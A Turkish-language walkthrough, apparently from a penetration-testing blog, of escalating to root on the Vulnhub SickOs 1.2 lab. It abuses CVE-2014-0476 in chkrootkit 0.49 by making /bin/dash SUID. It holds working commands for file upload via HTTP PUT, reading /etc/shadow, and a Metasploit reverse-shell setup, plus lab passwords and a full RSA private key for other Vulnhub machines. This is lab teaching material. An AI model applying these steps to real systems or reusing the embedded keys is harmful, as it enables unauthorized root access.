Unix-Privesc-Check Betiği ile Tespit Edilen Zafiyetli Chkrootkit Paketindeki Zafiyet İstismar Edilerek root Yetkileri ile Komut Satırının Elde Edilmesi

0
1022
views
Sızma testleri sırasında uygulamaların güvenilir bir şekilde yapılandırılmamasından ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen SickOs: 1.2 sanal makinesinde, Unix-Privesc-Check betiği ile tespit edilen zamanlanmış görevlerdeki zafiyetli bir uygulama kötüye kullanılarak uygulamayı çalıştıran kullanıcı (“root“) yetkilerine sahip olunacaktır.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan SickOs: 1.2 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/sickos-12,144/

SickOs: 1.2 sanal makinesinde “www-data” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 32 bit mimarideki Ubuntu 12.04.4 LTS olduğu görülmektedir.

id
uname -a
head -3 /etc/passwd
tail -4 /etc/passwd
cat /etc/shadow

 

A) Hak Yükseltme Zafiyetinin Tespiti

Muhtemel hak yükseltme zafiyetlerinin listesi için Unix-Privesc-Check isimli Bash betiği kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check

 

İndirilen dosya hedef uygulamadaki HTTP PUT metodu zafiyeti kullanılarak kurban makineye aktarılır.

nmap -Pn -n -sV -p80 172.20.50.134 –script http-put –script-args url=’/test/HakYuksektmeBetigi.sh’,file=’/root/unix-privesc-check’

pwd
mv /var/www/test/HakYuksektmeBetigi.sh /tmp/
cd /tmp/
ls -la HakYuksektmeBetigi.sh
chmod +x HakYuksektmeBetigi.sh

 

Not: Bu makineden dışarıya doğru sadece 8080 ve 443 portlarına erişime izin verildiği için bu portlarda çalışan bir web servis kullanılarak da dosya indirilebilirdir.

Kali: python -m SimpleHTTPServer 8080

Kurban: wget http://<KaliIP>:8080/unix-privesc-check

Betiğin standart ve detaylı olmak üzere 2 modda çalıştığı görülmektedir. Betik çıktısı uzun olduğu için bir dosyaya da yazdırılabilir.

./HakYuksektmeBetigi.sh
./HakYuksektmeBetigi.sh detailed > Sonuc.txt 2>/dev/null

 

Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.

grep -E “####” Sonuc.txt -B1 | grep -Ev “^####|^–|^$”

Recording hostname
Recording uname
Recording Interface IP addresses
Checking if external authentication is allowed in /etc/passwd
Checking nsswitch.conf/netsvc.conf for addition authentication methods
Checking for writable config files
Checking if /etc/shadow is readable
Checking if /etc/shadow is writable
Checking if /etc/passwd is writable
Checking for password hashes in /etc/passwd
Checking account settings
Checking library directories from /etc/ld.so.conf
Checking sudo configuration
Checking permissions on swap file(s)
Checking programs run from inittab
Checking postgres trust relationships
Checking permissions on device files for mounted partitions
Checking cron job programs aren’t writable (/etc/crontab)
Checking cron job programs aren’t writable (/var/spool/cron/crontabs)
Checking cron job programs aren’t writable (/var/spool/cron/tabs)
Checking inetd programs aren’t writable
Checking xinetd programs aren’t writeable
Checking home directories aren’t writable
Checking for readable sensitive files in home directories
Checking SUID/SGID programs
Checking fscaps programs
Checking for cleartext subversion passwords in home directories
Checking for Private SSH Keys in home directories
Checking for Public SSH Keys in home directories
Checking classpath permissions for Java processes
Checking for SSH agents
Checking for GPG agents
Checking startup files (init.d / rc.d) aren’t writable
Checking if running programs are writable
Checking exploit mitigation

 

Zamanlanmış görev incelendiğinde “chkrootkit 0.49” paketi göze çarpmaktadır.

ls -lah /etc/cron* 2>/dev/null | head -20
dpkg -l | grep chkrootkit
chkrootkit -V

 

B) Chkrootkit 0.49 İstismarı

Bu paket günde bir “root” yetkileri ile çalışmaktadır. Bu pakette hak yükseltme zafiyeti olduğu görülmektedir.

searchsploit chkrootkit

 

Kurulu bu pakette “Chkrootkit 0.49 – Privilege Escalation” isimli CVE-2014-0476 ID’li bir zafiyet bulunmaktadır. Bu paketteki kontrol eksikliği dolayısı ile SLAPPER_FILES değişkeni ile belirtilen dosyaların (tmp/.unlock, tmp/httpd, tmp/update, tmp/.cinik, tmp/.b, …) içeriği bu paketi çalıştıran kullanıcı yetkileri ile çalıştırılabilir ve hak yükseltilebilir.

https://www.exploit-db.com/exploits/33899/

 

SLAPPER_FILES ile belirtilen dosyalardan birisi olan “tmp/update” dosyasına “root” yetkisi ile çalıştırılması istenen içerik yazılır. Örnek olarak BASH kabuğunun küçük sürümü olan “/bin/dash” adlı dosyanın SUID biti etkinleştirilebilir.

ls -la /bin/dash
echo “#\!/bin/bash” > /tmp/update
echo “chmod u+s /bin/dash” > /tmp/update
cat /tmp/update
chmod +x /tmp/update
ls -la /tmp/update

 

Bir süre sonra “/bin/dash” dosyasının SUID bitinin etkin olduğu görülür ve root yetkilerine erişim sağlanmış olur.

ls -la /bin/dash
/bin/dash
id
head -3 /etc/shadow
tail -3 /etc/shadow

 

Not: Benzer olarak MSF chkrootkit istismar modülü ile de hak yükseltilebilir. Ancak uzun süre beklenmesine rağmen modül çalışmamıştır.

sessions
use exploit/unix/local/chkrootkit
set SESSION 1
set PAYLOAD cmd/unix/reverse
set LHOST 172.20.50.135
set LPORT 8080
exploit

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • SecTalks: BNE0x02 – Fuku: https://www.vulnhub.com/entry/sectalks-bne0x02-fuku,140/
    • Kullanıcı Adı: gizmo
    • Parola: sillyboy
    • Hedef URL: http:\\IP:13370/administrator/index.php
  • Nineveh: v0.3: https://www.vulnhub.com/entry/nineveh-v03,222/
    • SSH için Port Knocking: 571, 290, 911
    • Kullanıcı Adı: amrois
    • Özel Anahtar: —–BEGIN RSA PRIVATE KEY—–
      MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
      H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
      PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
      FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
      3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
      X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
      KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
      FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
      GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
      JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
      9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
      Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
      ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
      1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
      vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
      DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
      P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
      fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
      tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
      iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
      MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
      PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
      i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
      il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
      fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
      —–END RSA PRIVATE KEY—–

 

 

 

 

 

Kaynaklar:

https://www.arashparsa.com/2016/04/27/sickos1.2-walkthrough

Hack the SickOS 1.2 VM (CTF Challenge)


https://github.com/sectalks/sectalks/tree/master/ctf-solutions/BNE0x02/Bull

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.